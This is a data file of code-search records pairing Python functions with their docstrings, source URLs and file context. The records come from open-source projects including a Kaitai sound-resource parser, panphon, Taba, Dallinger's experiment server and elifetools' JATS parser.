self._debug['left_over_samples_ptr']['end'] = self._io.pos() self._debug['compression_id']['start'] = self._io.pos() self.compression_id = self._io.read_s2be() self._debug['compression_id']['end'] = self._io.pos() self._debug['packet_size']['start'] = self._io.pos() self.packet_size = self._io.read_u2be() self._debug['packet_size']['end'] = self._io.pos() self._debug['synthesizer_id']['start'] = self._io.pos() self.synthesizer_id = self._io.read_u2be() self._debug['synthesizer_id']['end'] = self._io.pos() @property def compression_type(self): if hasattr(self, '_m_compression_type'): return self._m_compression_type if hasattr(self, '_m_compression_type') else None self._m_compression_type = KaitaiStream.resolve_enum(MacOsResourceSnd.CompressionTypeEnum, self.compression_id) return self._m_compression_type if hasattr(self, '_m_compression_type') else None class ExtendedOrCompressed(KaitaiStruct): SEQ_FIELDS = ["num_frames", "aiff_sample_rate", "marker_chunk", "extended", "compressed", "bits_per_sample", "reserved"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['num_frames']['start'] = self._io.pos() self.num_frames = self._io.read_u4be() self._debug['num_frames']['end'] = self._io.pos() self._debug['aiff_sample_rate']['start'] = self._io.pos() self.aiff_sample_rate = self._io.read_bytes(10) self._debug['aiff_sample_rate']['end'] = self._io.pos() self._debug['marker_chunk']['start'] = self._io.pos() self.marker_chunk = self._io.read_u4be() self._debug['marker_chunk']['end'] = self._io.pos() if self._parent.sound_header_type == MacOsResourceSnd.SoundHeaderType.extended: self._debug['extended']['start'] = self._io.pos() self.extended = MacOsResourceSnd.Extended(self._io, self, self._root) self.extended._read() self._debug['extended']['end'] = self._io.pos() if self._parent.sound_header_type == MacOsResourceSnd.SoundHeaderType.compressed: self._debug['compressed']['start'] = self._io.pos() self.compressed = MacOsResourceSnd.Compressed(self._io, self, self._root) self.compressed._read() self._debug['compressed']['end'] = self._io.pos() self._debug['bits_per_sample']['start'] = self._io.pos() self.bits_per_sample = self._io.read_u2be() self._debug['bits_per_sample']['end'] = self._io.pos() if self._parent.sound_header_type == MacOsResourceSnd.SoundHeaderType.extended: self._debug['reserved']['start'] = self._io.pos() self.reserved = self._io.read_bytes(14) self._debug['reserved']['end'] = self._io.pos() class DataFormat(KaitaiStruct): SEQ_FIELDS = ["id", "options"] def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._debug = collections.defaultdict(dict) def _read(self): self._debug['id']['start'] = self._io.pos() self.id = KaitaiStream.resolve_enum(MacOsResourceSnd.DataType, self._io.read_u2be()) self._debug['id']['end'] = self._io.pos() self._debug['options']['start'] = self._io.pos() self.options = self._io.read_u4be() self._debug['options']['end'] = self._io.pos() @property
Apache License 2.0
dmort27/panphon
panphon/featuretable.py
FeatureTable.validate_word
python
def validate_word(self, word): return word == ''.join(self.ipa_segs(word))
Returns True if `word` consists exhaustively of valid IPA segments Args: word (unicode): input word as Unicode IPA string Returns: bool: True if `word` can be divided exhaustively into IPA segments that exist in the database
https://github.com/dmort27/panphon/blob/b7f556d41bbf8f643adaee8b87a97860f3a6b297/panphon/featuretable.py#L96-L107
from __future__ import (absolute_import, division, print_function, unicode_literals) import os.path import unicodedata import collections import numpy import pkg_resources import regex as re import unicodecsv as csv from . import xsampa from .segment import Segment feature_sets = { 'spe+': (os.path.join('data', 'ipa_all.csv'), os.path.join('data', 'feature_weights.csv')) } class FeatureTable(object): def __init__(self, feature_set='spe+'): bases_fn, weights_fn = feature_sets[feature_set] self.weights = self._read_weights(weights_fn) self.segments, self.seg_dict, self.names = self._read_bases(bases_fn, self.weights) self.seg_regex = self._build_seg_regex() self.longest_seg = max([len(x) for x in self.seg_dict.keys()]) self.xsampa = xsampa.XSampa() def _read_bases(self, fn, weights): fn = pkg_resources.resource_filename(__name__, fn) segments = [] with open(fn, 'rb') as f: reader = csv.reader(f, encoding='utf-8') header = next(reader) names = header[1:] for row in reader: ipa = unicodedata.normalize('NFD', row[0]) vals = [{'-': -1, '0': 0, '+': 1}[x] for x in row[1:]] vec = Segment(names, {n: v for (n, v) in zip(names, vals)}, weights=weights) segments.append((ipa, vec)) seg_dict = dict(segments) return segments, seg_dict, names def _read_weights(self, weights_fn): weights_fn = pkg_resources.resource_filename(__name__, weights_fn) with open(weights_fn, 'rb') as f: reader = csv.reader(f, encoding='utf-8') next(reader) weights = [float(x) for x in next(reader)] return weights def _build_seg_regex(self): segs = sorted(self.seg_dict.keys(), key=lambda x: len(x), reverse=True) return re.compile(r'(?P<all>{})'.format('|'.join(segs))) def fts(self, ipa): if ipa in self.seg_dict: return self.seg_dict[ipa] else: return None def longest_one_seg_prefix(self, word): for i in range(self.longest_seg, 0, -1): if word[:i] in self.seg_dict: return word[:i] return '' def ipa_segs(self, word): word = unicodedata.normalize('NFD', word) return [unicodedata.normalize('NFD', m.group('all')) for m in self.seg_regex.finditer(word)]
MIT License
mosra/m.css
documentation/test_python/inspect_type_links/inspect_type_links/second.py
type_cant_link
python
def type_cant_link(a: _Hidden):
Annotation linking to a type that's a part of INPUT_MODULES but not known
https://github.com/mosra/m.css/blob/9385194fa3392a7162e7535cc2478814e382ff8a/documentation/test_python/inspect_type_links/inspect_type_links/second.py#L92-L93
from typing import Tuple, List, Any, Callable import enum class Enum(enum.Enum): FIRST = 1 SECOND = 2 def type_enum(a: Enum): class Foo: @property def type_property(self) -> Enum: @property def type_property_string_nested(self) -> 'Tuple[Foo, List[Enum], Any]': @property def type_property_string_invalid(self) -> 'FooBar': def type_property_writeonly(self, a: Enum): type_property_writeonly = property(None, type_property_writeonly) def type_property_writeonly_string_nested(self, a: 'Tuple[Foo, List[Enum], Any]'): type_property_writeonly_string_nested = property(None, type_property_writeonly_string_nested) def type_property_writeonly_string_invalid(self, a: 'Foo.Bar'): type_property_writeonly_string_invalid = property(None, type_property_writeonly_string_invalid) TYPE_DATA_STRING_INVALID: 'Foo.Bar' = 3 class FooSlots: __slots__ = ['type_slot', 'type_slot_string_nested'] type_slot: Enum type_slot_string_nested: 'Tuple[Foo, List[Enum], Any]' class FooSlotsInvalid: __slots__ = ['type_slot_string_invalid'] type_slot_string_invalid: List['FooBar'] def type_string(a: 'Foo'): def type_nested(a: Tuple[Foo, List[Enum], Any]): def type_string_nested(a: 'Tuple[Foo, List[Enum], Any]'): def type_nested_string(a: Tuple['Foo', 'List[Enum]', 'Any']): def type_string_invalid(a: 'Foo.Bar'): def type_nested_string_invalid(a: Tuple['FooBar', 'List[Enum]', 'Any']): def type_return() -> Foo: def type_return_string_nested() -> 'Tuple[Foo, List[Enum], Any]': def type_return_string_invalid(a: Foo) -> 'FooBar': class _Hidden: pass
MIT License
tellapart/taba
src/taba/server/frontend.py
TabaServerFrontend.GetStatus
python
def GetStatus(self): queue_stats = model_provider.GetQueues().GetQueueStats() latency_stats = model_provider.GetLatency().GetStatistics() queue_stats.update(latency_stats) return queue_stats
Retrieve statistics about the cluster. Returns: Dict containing high level statistics.
https://github.com/tellapart/taba/blob/0254e76348d247ab957ff547df9662a69cab4c9c/src/taba/server/frontend.py#L423-L433
import logging import re import gevent from taba import client from taba.common import transport from taba.server.model import model_provider from taba.util import misc_util from taba.util import thread_util _CAPACITY_REJECTIONS = client.Tab('taba_updates_rejected') LOG = logging.getLogger(__name__) class CapacityException(Exception): pass class TabaServerFrontend(object): def __init__(self, name_blacklist, client_blacklist): self.name_blacklist_patterns = _ConvertReListToPatterns(name_blacklist) self.client_blacklist_patterns = _ConvertReListToPatterns(client_blacklist) def ReceiveEventsStreaming(self, events_buffer): if not model_provider.GetQueues().CanAcceptUpdate(): _CAPACITY_REJECTIONS.Record() raise CapacityException() def _ReceiveBatch(event_bundle): client = event_bundle.client name = event_bundle.name if (_ItemMatchesAnyPattern(self.name_blacklist_patterns, name) or _ItemMatchesAnyPattern(self.client_blacklist_patterns, client)): LOG.info( 'Filtering %d events for C:%s N:%s' % (event_bundle.num_events, client, name)) return 0 cid = model_provider.GetClients().GetCids([client], True)[client] nid = model_provider.GetNames().GetNids([name], True)[name] tab_type = model_provider.GetNames().GetOrUpdateTypes( {nid: event_bundle.tab_type})[nid] try: sstate = model_provider.GetStates().ConvertNewEvents( client, cid, name, nid, tab_type, event_bundle) except Exception: LOG.error('Error folding events for %s (%s)' % (name, client)) raise model_provider.GetQueues().EnqueueUpdate(nid, cid, sstate) model_provider.GetLatency().RecordForPost(event_bundle) return event_bundle.num_events events_gen = transport.DecodeStreaming(events_buffer) result_aggregator = misc_util.Aggregator() processor = thread_util.AsyncProcessor( events_gen, _ReceiveBatch, result_aggregator, workers=4) processor.Process() return result_aggregator.value def GetStates(self, names=None, clients=None, use_re=False, raw=False, accept=None): if names is not None and use_re: all_names = model_provider.GetNames().GetAllNames() filter_names = _FilterListByRegularExpression(all_names, names) name_to_nid = model_provider.GetNames().GetNids(filter_names) nid_to_name = dict((v, k) for k, v in name_to_nid.iteritems()) nids = filter(None, name_to_nid.values()) elif names is not None: name_to_nid = model_provider.GetNames().GetNids(names) nid_to_name = dict((v, k) for k, v in name_to_nid.iteritems()) nids = filter(None, name_to_nid.values()) else: name_to_nid = model_provider.GetNames().GetNameToNidMap() nid_to_name = dict((v, k) for k, v in name_to_nid.iteritems()) nids = None if clients is not None and use_re: all_clients = model_provider.GetClients().GetAllClients() filter_clients = _FilterListByRegularExpression(all_clients, clients) client_to_cid = model_provider.GetClients().GetCids(filter_clients) cid_to_client = dict((v, k) for k, v in client_to_cid.iteritems()) cids = filter(None, client_to_cid.values()) elif clients is not None: client_to_cid = model_provider.GetClients().GetCids(clients) cid_to_client = dict((v, k) for k, v in client_to_cid.iteritems()) cids = filter(None, client_to_cid.values()) else: client_to_cid = model_provider.GetClients().GetClientCidMap() cid_to_client = dict((v, k) for k, v in client_to_cid.iteritems()) cids = None it = model_provider.GetStates().StatesIterator(nids, cids, (not raw), accept) return [ ((nid_to_name.get(nid, None), cid_to_client.get(cid, None)), state) for ((nid, cid), state) in it] def GetAggregates(self, names=None, clients=None, use_re=False, raw=False, accept=None): if names is not None and use_re: all_names = model_provider.GetNames().GetAllNames() filter_names = _FilterListByRegularExpression(all_names, names) name_to_nid = model_provider.GetNames().GetNids(filter_names) nid_to_name = dict((v, k) for k, v in name_to_nid.iteritems()) nids = filter(None, name_to_nid.values()) elif names is not None: name_to_nid = model_provider.GetNames().GetNids(names) nid_to_name = dict((v, k) for k, v in name_to_nid.iteritems()) nids = filter(None, name_to_nid.values()) else: name_to_nid = model_provider.GetNames().GetNameToNidMap() nid_to_name = dict((v, k) for k, v in name_to_nid.iteritems()) nids = None if clients is not None and use_re: all_clients = model_provider.GetClients().GetAllClients() filter_clients = _FilterListByRegularExpression(all_clients, clients) client_to_cid = model_provider.GetClients().GetCids(filter_clients) cids = filter(None, client_to_cid.values()) elif clients is not None: client_to_cid = model_provider.GetClients().GetCids(clients) cids = filter(None, client_to_cid.values()) else: cids = None it = model_provider.GetStates().AggregatesIterator( nids, cids, (not raw), accept) return [(nid_to_name[nid], state) for (nid, state) in it] def GetSuperAggregate(self, names=None, clients=None, use_re=False, raw=False, accept=None): if names is not None and use_re: all_names = model_provider.GetNames().GetAllNames() filter_names = _FilterListByRegularExpression(all_names, names) name_to_nid = model_provider.GetNames().GetNids(filter_names) nids = filter(None, name_to_nid.values()) elif names is not None: name_to_nid = model_provider.GetNames().GetNids(names) nids = filter(None, name_to_nid.values()) else: nids = None if clients is not None and use_re: all_clients = model_provider.GetClients().GetAllClients() filter_clients = _FilterListByRegularExpression(all_clients, clients) client_to_cid = model_provider.GetClients().GetCids(filter_clients) cids = filter(None, client_to_cid.values()) elif clients is not None: client_to_cid = model_provider.GetClients().GetCids(clients) cids = filter(None, client_to_cid.values()) else: cids = None return model_provider.GetStates().SuperAggregate( nids, cids, (not raw), accept) def GetAllClients(self, filter_val=None, use_re=False): clients = model_provider.GetClients().GetAllClients() if filter_val and use_re: return _FilterListByRegularExpression(clients, filter_val) elif filter_val: return list(set(filter_val).intersection(set(clients))) else: return clients def GetNames(self, clients=None, filter_val=None, use_re=False): if clients: if use_re: all_clients = model_provider.GetClients().GetAllClients() filter_clients = _FilterListByRegularExpression(all_clients, clients) else: filter_clients = clients cids = model_provider.GetClients().GetCids(filter_clients) nids = set() for cid in filter(None, cids.values()): nids.update(model_provider.GetStates().GetNidsForCid(cid)) names = model_provider.GetNames().GetNames(nids).values() else: names = model_provider.GetNames().GetAllNames() if filter_val is not None and use_re: return _FilterListByRegularExpression(names, filter_val) elif filter_val is not None: return list(set(filter_val).intersection(set(names))) else: return names def GetTypes(self, names=None, use_re=False): if names: if use_re: all_names = model_provider.GetNames().GetAllNames() filter_names = _FilterListByRegularExpression(all_names, names) else: filter_names = names name_to_nid = model_provider.GetNames().GetNids(filter_names) nid_to_name = dict([(nid, name) for name, nid in name_to_nid.iteritems()]) nid_to_type = model_provider.GetNames().GetTypes(name_to_nid.values()) types = dict([ (nid_to_name[nid], type) for nid, type in nid_to_type.iteritems()]) else: nid_to_type = model_provider.GetNames().GetAllTypes() nids = nid_to_type.keys() nid_to_name = model_provider.GetNames().GetNames(nids) types = dict([ (nid_to_name[nid], tp) for nid, tp in nid_to_type.iteritems() if nid_to_name[nid]]) return types def GetIdMaps(self): names_map = model_provider.GetNames().GetNameToNidMap() client_map = model_provider.GetClients().GetClientCidMap() return names_map, client_map
Apache License 2.0
dallinger/dallinger
dallinger/experiment_server/experiment_server.py
create_participant
python
def create_participant(worker_id, hit_id, assignment_id, mode, entry_information=None): try: session.connection().execute("LOCK TABLE participant IN EXCLUSIVE MODE NOWAIT") except exc.OperationalError as e: e.orig = TransactionRollbackError() raise e missing = [p for p in (worker_id, hit_id, assignment_id) if p == "undefined"] if missing: msg = "/participant POST: required values were 'undefined'" return error_response(error_type=msg, status=403) fingerprint_hash = request.args.get("fingerprint_hash") try: fingerprint_found = models.Participant.query.filter_by( fingerprint_hash=fingerprint_hash ).one_or_none() except MultipleResultsFound: fingerprint_found = True if fingerprint_hash and fingerprint_found: db.logger.warning("Same browser fingerprint detected.") if mode == "live": return error_response( error_type="/participant POST: Same participant dectected.", status=403 ) already_participated = models.Participant.query.filter_by( worker_id=worker_id ).one_or_none() if already_participated: db.logger.warning("Worker has already participated.") return error_response( error_type="/participant POST: worker has already participated.", status=403 ) duplicate = models.Participant.query.filter_by( assignment_id=assignment_id, status="working" ).one_or_none() if duplicate: msg = """ AWS has reused assignment_id while existing participant is working. Replacing older participant {}. """ app.logger.warning(msg.format(duplicate.id)) q.enqueue(worker_function, "AssignmentReassigned", None, duplicate.id) nonfailed_count = ( models.Participant.query.filter( (models.Participant.status == "working") | (models.Participant.status == "overrecruited") | (models.Participant.status == "submitted") | (models.Participant.status == "approved") ).count() + 1 ) recruiter_name = request.args.get("recruiter") exp = Experiment(session) participant_vals = { "worker_id": worker_id, "hit_id": hit_id, "assignment_id": assignment_id, "mode": mode, "recruiter_name": recruiter_name, "fingerprint_hash": fingerprint_hash, "entry_information": entry_information, } try: participant = exp.create_participant(**participant_vals) except Exception: db.logger.exception( "Error creating particant using these values: {}".format(participant_vals) ) msg = "/participant POST: an error occurred while registering the participant." return error_response(error_type=msg, status=400) session.flush() overrecruited = exp.is_overrecruited(nonfailed_count) if overrecruited: participant.status = "overrecruited" result = {"participant": participant.__json__()} if exp.quorum: quorum = { "q": exp.quorum, "n": nonfailed_count, "overrecruited": participant.status == "overrecruited", } db.queue_message(WAITING_ROOM_CHANNEL, dumps(quorum)) result["quorum"] = quorum return success_response(**result)
Create a participant. This route is hit early on. Any nodes the participant creates will be defined in reference to the participant object. You must specify the worker_id, hit_id, assignment_id, and mode in the url.
https://github.com/dallinger/dallinger/blob/2bc309c422935d372a7568cc18340e3b5b3f6a21/dallinger/experiment_server/experiment_server.py#L742-L850
from datetime import datetime import gevent from json import dumps from json import loads import os import re from flask import ( abort, Flask, redirect, render_template, request, Response, send_from_directory, url_for, ) from flask_login import LoginManager, login_required from jinja2 import TemplateNotFound from rq import Queue from sqlalchemy.orm.exc import NoResultFound, MultipleResultsFound from sqlalchemy import exc from sqlalchemy import func from sqlalchemy.sql.expression import true from psycopg2.extensions import TransactionRollbackError from dallinger import db from dallinger import experiment from dallinger import models from dallinger.config import get_config from dallinger import recruiters from dallinger.notifications import admin_notifier from dallinger.notifications import MessengerError from dallinger.utils import generate_random_id from . import dashboard from .replay import ReplayBackend from .worker_events import worker_function from .utils import ( crossdomain, nocache, ValidatesBrowser, error_page, error_response, success_response, ExperimentError, ) session = db.session redis_conn = db.redis_conn q = Queue(connection=redis_conn) WAITING_ROOM_CHANNEL = "quorum" app = Flask("Experiment_Server") @app.before_first_request def _config(): app.secret_key = app.config["SECRET_KEY"] = os.environ.get("FLASK_SECRET_KEY") config = get_config() if not config.ready: config.load() if config.get("dashboard_password", None): app.config["ADMIN_USER"] = dashboard.User( userid=config.get("dashboard_user", "admin"), password=config.get("dashboard_password"), ) return config def Experiment(args): klass = experiment.load() return klass(args) try: from dallinger_experiment.experiment import extra_routes except ImportError: pass else: app.register_blueprint(extra_routes) try: exp_klass = experiment.load() except ImportError: exp_klass = None if exp_klass is not None: bp = exp_klass.experiment_routes routes = experiment.EXPERIMENT_ROUTE_REGISTRATIONS for route in routes: route_func = getattr(exp_klass, route["func_name"], None) if route_func is not None: bp.add_url_rule( route["rule"], endpoint=route["func_name"], view_func=route_func, **dict(route["kwargs"]) ) if routes: app.register_blueprint(bp) dash_routes = dashboard.DASHBOARD_ROUTE_REGISTRATIONS for route in dash_routes: route_func = getattr(exp_klass, route["func_name"], None) if route_func is not None: route_func = login_required(route_func) route_name = route["func_name"] dashboard.dashboard.add_url_rule( "/" + route_name, endpoint=route_name, view_func=route_func, **dict(route["kwargs"]) ) tabs = dashboard.dashboard_tabs full_tab = route.get("tab") if route.get("before_route") and full_tab: tabs.insert_tab_before_route(full_tab, route["before_route"]) elif route.get("before_route"): tabs.insert_before_route( route["title"], route_name, route["before_route"] ) elif route.get("after_route") and full_tab: tabs.insert_tab_after_route(full_tab, route["after_route"]) elif route.get("after_route"): tabs.insert_after_route( route["title"], route_name, route["after_route"] ) elif full_tab: tabs.insert(full_tab) else: tabs.insert(route["title"], route_name) app.register_blueprint(recruiters.mturk_routes) app.register_blueprint(dashboard.dashboard) login = LoginManager(app) login.login_view = "dashboard.login" login.request_loader(dashboard.load_user_from_request) login.user_loader(dashboard.load_user) login.unauthorized_handler(dashboard.unauthorized) app.config["dashboard_tabs"] = dashboard.dashboard_tabs @app.route("/") def index(): html = ( "<html><head></head><body><h1>Dallinger Experiment in progress</h1>" "<p><a href={}>Dashboard</a></p></body></html>".format( url_for("dashboard.index") ) ) return html @app.route("/robots.txt") def static_robots_txt(): return send_from_directory("static", "robots.txt") @app.route("/favicon.ico") def static_favicon(): return send_from_directory("static", "favicon.ico", mimetype="image/x-icon") @app.errorhandler(ExperimentError) def handle_exp_error(exception): app.logger.error( "%s (%s) %s", exception.value, exception.errornum, str(dict(request.args)) ) return error_page(error_type=exception.value) @app.teardown_request def shutdown_session(_=None): session.remove() db.logger.debug("Closing Dallinger DB session at flask request end") @app.context_processor def inject_experiment(): exp = Experiment(session) return dict(experiment=exp, env=os.environ) @app.route("/error-page", methods=["POST", "GET"]) def render_error(): request_data = request.form.get("request_data") participant_id = request.form.get("participant_id") participant = None if participant_id: participant = models.Participant.query.get(participant_id) return error_page(participant=participant, request_data=request_data) hit_error_template = """Dear experimenter, This is an automated email from Dallinger. You are receiving this email because a recruited participant has been unable to complete the experiment due to a bug. The application id is: {app_id} The information about the failed HIT is recorded in the database in the Notification table, with assignment_id {assignment_id}. To see the logs, use the command "dallinger logs --app {app_id}" To pause the app, use the command "dallinger hibernate --app {app_id}" To destroy the app, use the command "dallinger destroy --app {app_id}" The Dallinger dev. team. """ @app.route("/handle-error", methods=["POST"]) def handle_error(): request_data = request.form.get("request_data") error_feedback = request.form.get("error_feedback") error_type = request.form.get("error_type") error_text = request.form.get("error_text") worker_id = request.form.get("worker_id") assignment_id = request.form.get("assignment_id") participant_id = request.form.get("participant_id") hit_id = request.form.get("hit_id") participant = None completed = False details = {"request_data": {}} if request_data: try: request_data = loads(request_data) except ValueError: request_data = {} details["request_data"] = request_data try: data = loads(request_data.get("data", "null")) or request_data except ValueError: data = request_data if not participant_id and "participant_id" in data: participant_id = data["participant_id"] if not worker_id and "worker_id" in data: worker_id = data["worker_id"] if not assignment_id and "assignment_id" in data: assignment_id = data["assignment_id"] if not hit_id and "hit_id" in data: hit_id = data["hit_id"] if participant_id: try: participant_id = int(participant_id) except (ValueError, TypeError): participant_id = None details["feedback"] = error_feedback details["error_type"] = error_type details["error_text"] = error_text if participant_id is None and worker_id: participants = ( session.query(models.Participant).filter_by(worker_id=worker_id).all() ) if participants: participant = participants[0] if not assignment_id: assignment_id = participant.assignment_id if participant_id is None and assignment_id: participants = ( session.query(models.Participant).filter_by(worker_id=assignment_id).all() ) if participants: participant = participants[0] participant_id = participant.id if not worker_id: worker_id = participant.worker_id if participant_id is not None: _worker_complete(participant_id) completed = True details["request_data"].update( {"worker_id": worker_id, "hit_id": hit_id, "participant_id": participant_id} ) notif = models.Notification( assignment_id=assignment_id or "unknown", event_type="ExperimentError", details=details, ) session.add(notif) session.commit() config = _config() message = { "subject": "Error during HIT.", "body": hit_error_template.format( app_id=config.get("id", "unknown"), assignment_id=assignment_id or "unknown" ), } db.logger.debug("Reporting HIT error...") messenger = admin_notifier(config) try: messenger.send(**message) except MessengerError as ex: db.logger.exception(ex) return render_template( "error-complete.html", completed=completed, contact_address=config.get("contact_email_on_error"), hit_id=hit_id, ) @app.route("/launch", methods=["POST"]) def launch(): try: exp = Experiment(db.init_db(drop_all=False)) except Exception as ex: return error_response( error_text="Failed to load experiment in /launch: {}".format(str(ex)), status=500, simple=True, ) try: exp.log("Launching experiment...", "-----") except IOError as ex: return error_response( error_text="IOError writing to experiment log: {}".format(str(ex)), status=500, simple=True, ) try: recruitment_details = exp.recruiter.open_recruitment( n=exp.initial_recruitment_size ) session.commit() except Exception as e: return error_response( error_text="Failed to open recruitment, check experiment server log " "for details: {}".format(str(e)), status=500, simple=True, ) for task in exp.background_tasks: try: gevent.spawn(task) except Exception: return error_response( error_text="Failed to spawn task on launch: {}, ".format(task) + "check experiment server log for details", status=500, simple=True, ) if _config().get("replay", False): try: task = ReplayBackend(exp) gevent.spawn(task) except Exception: return error_response( error_text="Failed to launch replay task for experiment." "check experiment server log for details", status=500, simple=True, ) if exp.channel is not None: try: from dallinger.experiment_server.sockets import chat_backend chat_backend.subscribe(exp, exp.channel) except Exception: return error_response( error_text="Failed to subscribe to chat for channel on launch " + "{}".format(exp.channel) + ", check experiment server log for details", status=500, simple=True, ) message = "\n".join( ( "Initial recruitment list:\n{}".format( "\n".join(recruitment_details["items"]) ), "Additional details:\n{}".format(recruitment_details["message"]), ) ) return success_response(recruitment_msg=message) @app.route("/ad", methods=["GET"]) @nocache def advertisement(): config = _config() browser = ValidatesBrowser(config) if not browser.is_supported(request.user_agent.string): raise ExperimentError("browser_type_not_allowed") entry_information = request.args.to_dict() if entry_information.get("generate_tokens", None) in ("1", "true", "yes"): redirect_params = entry_information.copy() del redirect_params["generate_tokens"] for entry_param in ("hitId", "assignmentId", "workerId"): if not redirect_params.get(entry_param): redirect_params[entry_param] = generate_random_id() return redirect(url_for("advertisement", **redirect_params)) app_id = config.get("id", "unknown") exp = Experiment(session) entry_data = exp.normalize_entry_information(entry_information) hit_id = entry_data.get("hit_id") assignment_id = entry_data.get("assignment_id") worker_id = entry_data.get("worker_id") if not (hit_id and assignment_id): raise ExperimentError("hit_assign_worker_id_not_set_by_recruiter") if worker_id is not None: already_participated = ( models.Participant.query.filter( models.Participant.worker_id == worker_id ).first() is not None ) if already_participated: raise ExperimentError("already_did_exp_hit") recruiter_name = request.args.get("recruiter") if recruiter_name: recruiter = recruiters.by_name(recruiter_name) else: recruiter = recruiters.from_config(config) recruiter_name = recruiter.nickname return render_template( "ad.html", recruiter=recruiter_name, hitid=hit_id, assignmentid=assignment_id, workerid=worker_id, mode=config.get("mode"), app_id=app_id, query_string=request.query_string.decode(), ) @app.route("/recruiter-exit", methods=["GET"]) @nocache def recriter_exit(): participant_id = request.args.get("participant_id") if participant_id is None: return error_response( error_type="/recruiter-exit GET: param participant_id is required", status=400, ) participant = models.Participant.query.get(participant_id) if participant is None: return error_response( error_type="/recruiter-exit GET: no participant found for ID {}".format( participant_id ), status=404, ) recruiter = recruiters.by_name(participant.recruiter_id) exp = Experiment(session) return recruiter.exit_response(experiment=exp, participant=participant) @app.route("/summary", methods=["GET"]) def summary(): exp = Experiment(session) state = { "status": "success", "summary": exp.log_summary(), "completed": exp.is_complete(), } unfilled_nets = ( models.Network.query.filter(models.Network.full != true()) .with_entities(models.Network.id, models.Network.max_size) .all() ) working = ( models.Participant.query.filter_by(status="working") .with_entities(func.count(models.Participant.id)) .scalar() ) state["unfilled_networks"] = len(unfilled_nets) nodes_remaining = 0 required_nodes = 0 if state["unfilled_networks"] == 0: if working == 0 and state["completed"] is None: state["completed"] = True else: for net in unfilled_nets: node_count = ( models.Node.query.filter_by(network_id=net.id, failed=False) .with_entities(func.count(models.Node.id)) .scalar() ) net_size = net.max_size required_nodes += net_size nodes_remaining += net_size - node_count state["nodes_remaining"] = nodes_remaining state["required_nodes"] = required_nodes if state["completed"] is None: state["completed"] = False nonfailed_count = models.Participant.query.filter( (models.Participant.status == "working") | (models.Participant.status == "overrecruited") | (models.Participant.status == "submitted") | (models.Participant.status == "approved") ).count() exp = Experiment(session) overrecruited = exp.is_overrecruited(nonfailed_count) if exp.quorum: quorum = {"q": exp.quorum, "n": nonfailed_count, "overrecruited": overrecruited} db.queue_message(WAITING_ROOM_CHANNEL, dumps(quorum)) return Response(dumps(state), status=200, mimetype="application/json") @app.route("/experiment_property/<prop>", methods=["GET"]) @app.route("/experiment/<prop>", methods=["GET"]) def experiment_property(prop): exp = Experiment(session) try: value = exp.public_properties[prop] except KeyError: abort(404) return success_response(**{prop: value}) @app.route("/<page>", methods=["GET"]) def get_page(page): try: return render_template(page + ".html") except TemplateNotFound: abort(404) @app.route("/<directory>/<page>", methods=["GET"]) def get_page_from_directory(directory, page): return render_template(directory + "/" + page + ".html") @app.route("/consent") def consent(): config = _config() entry_information = request.args.to_dict() exp = Experiment(session) entry_data = exp.normalize_entry_information(entry_information) hit_id = entry_data.get("hit_id") assignment_id = entry_data.get("assignment_id") worker_id = entry_data.get("worker_id") return render_template( "consent.html", hit_id=hit_id, assignment_id=assignment_id, worker_id=worker_id, mode=config.get("mode"), query_string=request.query_string.decode(), ) def request_parameter(parameter, parameter_type=None, default=None, optional=False): exp = Experiment(session) try: value = request.values[parameter] except KeyError: if default is not None: return default elif optional: return None else: msg = "{} {} request, {} not specified".format( request.url, request.method, parameter ) return error_response(error_type=msg) if parameter_type is None: return value elif parameter_type == "int": try: value = int(value) return value except ValueError: msg = "{} {} request, non-numeric {}: {}".format( request.url, request.method, parameter, value ) return error_response(error_type=msg) elif parameter_type == "known_class": try: value = exp.known_classes[value] return value except KeyError: msg = "{} {} request, unknown_class: {} for parameter {}".format( request.url, request.method, value, parameter ) return error_response(error_type=msg) elif parameter_type == "bool": if value in ["True", "False"]: return value == "True" else: msg = "{} {} request, non-boolean {}: {}".format( request.url, request.method, parameter, value ) return error_response(error_type=msg) else: msg = "/{} {} request, unknown parameter type: {} for parameter {}".format( request.url, request.method, parameter_type, parameter ) return error_response(error_type=msg) def assign_properties(thing): details = request_parameter(parameter="details", optional=True) if details: setattr(thing, "details", loads(details)) for p in range(5): property_name = "property" + str(p + 1) property = request_parameter(parameter=property_name, optional=True) if property: setattr(thing, property_name, property) session.commit() @app.route("/participant/<worker_id>/<hit_id>/<assignment_id>/<mode>", methods=["POST"]) @db.serialized
MIT License
elifesciences/elife-tools
elifetools/parseJATS.py
accepted_date_date
python
def accepted_date_date(soup): return utils.date_text(history_date(soup, date_type="accepted"))
Find the accepted date in human readable form
https://github.com/elifesciences/elife-tools/blob/ee345bf0e6703ef0f7e718355e85730abbdfd117/elifetools/parseJATS.py#L616-L620
from collections import OrderedDict import copy import re from bs4 import BeautifulSoup from slugify import slugify import elifetools.rawJATS as raw_parser import elifetools.json_rewrite from elifetools import utils from elifetools.utils_html import xml_to_html, references_author_collab XML_NAMESPACES = [ OrderedDict( [ ("prefix", "mml:"), ("attribute", "xmlns:mml"), ("uri", "http://www.w3.org/1998/Math/MathML"), ] ), OrderedDict( [ ("prefix", "xlink:"), ("attribute", "xmlns:xlink"), ("uri", "http://www.w3.org/1999/xlink"), ] ), ] SCIETY_URI_DOMAIN = "sciety.org" def parse_xml(xml): return BeautifulSoup(xml, "lxml-xml") def parse_document(filelocation): with open(filelocation, "rb") as open_file: return parse_xml(open_file) def title(soup): return utils.node_text(raw_parser.article_title(soup)) def full_title(soup): return utils.node_contents_str(raw_parser.article_title(soup)) def title_short(soup): return str(title(soup))[:20] def title_slug(soup): return slugify(title(soup)) def title_prefix(soup): prefix = None display_channel_match_list = ["feature article", "insight", "editorial"] for d_channel in display_channel(soup): if d_channel.lower() in display_channel_match_list: if raw_parser.sub_display_channel(soup): prefix = utils.node_text( utils.first(raw_parser.sub_display_channel(soup)) ) return prefix def title_prefix_json(soup): prefix = title_prefix(soup) prefix_rewritten = elifetools.json_rewrite.rewrite_json( "title_prefix_json", soup, prefix ) return prefix_rewritten def doi(soup): return utils.doi_uri_to_doi(utils.node_text(raw_parser.doi(soup))) def publisher_id(soup): return utils.node_text(raw_parser.publisher_id(soup)) def journal_id(soup): return utils.node_text(raw_parser.journal_id(soup)) def journal_title(soup): return utils.node_text(raw_parser.journal_title(soup)) def journal_issn(soup, pub_format=None, pub_type=None): return 